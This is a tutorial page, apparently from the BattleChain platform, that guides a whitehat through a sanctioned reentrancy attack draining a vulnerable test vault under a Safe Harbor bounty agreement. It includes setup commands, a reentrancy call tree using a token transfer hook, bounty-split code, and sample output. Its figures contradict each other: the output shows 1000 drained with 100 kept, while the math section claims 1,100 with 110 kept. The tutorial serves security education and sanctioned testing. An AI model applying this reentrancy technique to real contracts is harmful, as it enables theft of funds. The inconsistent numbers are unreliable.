Execute Your First Attack

Exploit the CEI violation in a live BattleChain vault, collect your bounty, and walk away clean under Safe Harbor.

⚔️
You are the Whitehat
The vault is live. The DAO approved it. You know exactly what's wrong with it.
You spotted a CEI violation and you have a contract that exploits it. The Safe Harbor agreement is in place — what you're about to do is legal, structured, and profitable.

Prerequisites

You'll need Foundry and just installed, and the starter repo cloned:

git clone https://github.com/Cyfrin/battlechain-starter
cd battlechain-starter
forge install

If you haven't already, import your key into Foundry's encrypted keystore:

cast wallet import battlechain --interactive

You'll also need a VAULT_ADDRESS and TOKEN_ADDRESS to target. If you're attacking your own vault from Deploy Your First Contract, those are already in your .env. If you're targeting someone else's vault, get those addresses from them or by querying the AttackRegistry.

Your .env should have:

SENDER_ADDRESS=0x...your_wallet_address...
TOKEN_ADDRESS=0x...
VAULT_ADDRESS=0x...
RECOVERY_ADDRESS=0x...

No private key — your keystore handles signing when prompted.


Verify the Vault is Attackable

Before doing anything, confirm the vault is in UNDER_ATTACK state:

just check-state

You need to see 3. If you see 2, the DAO hasn't approved yet. Anything else and the vault isn't eligible.


Understand the Exploit

Open src/Attacker.sol. The attack exploits two things working together: the CEI violation in VulnerableVault and the hook system in MockToken.

MockToken's hook system: Any address can register a hook contract via setTransferHook(address hook). When tokens are transferred to that address, the token calls hook.onTokenTransfer() after the transfer completes.

The vault's CEI violation: withdrawAll() calls TOKEN.transfer() before zeroing balances[msg.sender].

Put them together and the reentrancy chain looks like this:

attack()
└── TOKEN.setTransferHook(address(this))  ← register as our own hook
└── vault.deposit(seedAmount)             ← establish a balance
└── vault.withdrawAll()
    └── TOKEN.transfer(attacker, amount)
        └── onTokenTransfer()             ← hook fires, balance not yet zeroed
            └── vault.withdrawAll()
                └── TOKEN.transfer(attacker, amount)
                    └── onTokenTransfer() ← still not zeroed
                        └── ...           ← repeats until vault is empty

Once the vault is drained, the Safe Harbor settlement runs automatically:

uint256 total = TOKEN.balanceOf(address(this));
uint256 bounty = (total * BOUNTY_BPS) / 10_000; // 10%

TOKEN.transfer(RECOVERY_ADDRESS, total - bounty); // return 90% to protocol
TOKEN.transfer(OWNER, bounty);                    // keep 10%

You're not stealing. The protocol gets the majority of funds back minus the agreed bounty. Everyone knew the rules when the agreement was signed.


Run the Attack

just attack

Watch the output:

Vault balance before: 1000 tokens
Deploying attacker...

--- Vault drained ---
Vault before:          1000 tokens
Vault after:              0 tokens
Bounty kept:            100 tokens
Returned to protocol:   900 tokens

You've executed a legal reentrancy exploit on BattleChain. The vault is empty, the protocol has their funds back minus your bounty, and you're protected under Safe Harbor.


Verify the Math

The agreement set a 10% bounty (BOUNTY_BPS = 1_000). The vault had 1,000 seeded tokens plus your 100 seed tokens = 1,100 total.

  • Bounty: 1,100 × 10% = 110 tokens
  • Returned: 1,100 - 110 = 990 tokens

If the numbers don't look right, check that RECOVERY_ADDRESS in your .env matches the address in the agreement — that's where the returned funds go.


What Happens on the Protocol Side

The protocol sees their recovery address receive 900 tokens. They now know their vault has a reentrancy vulnerability. If the same code were deployed on mainnet with real TVL, the loss would have been real.

That's the whole point. See Deploy Your First Contract if you want to experience the other side of this.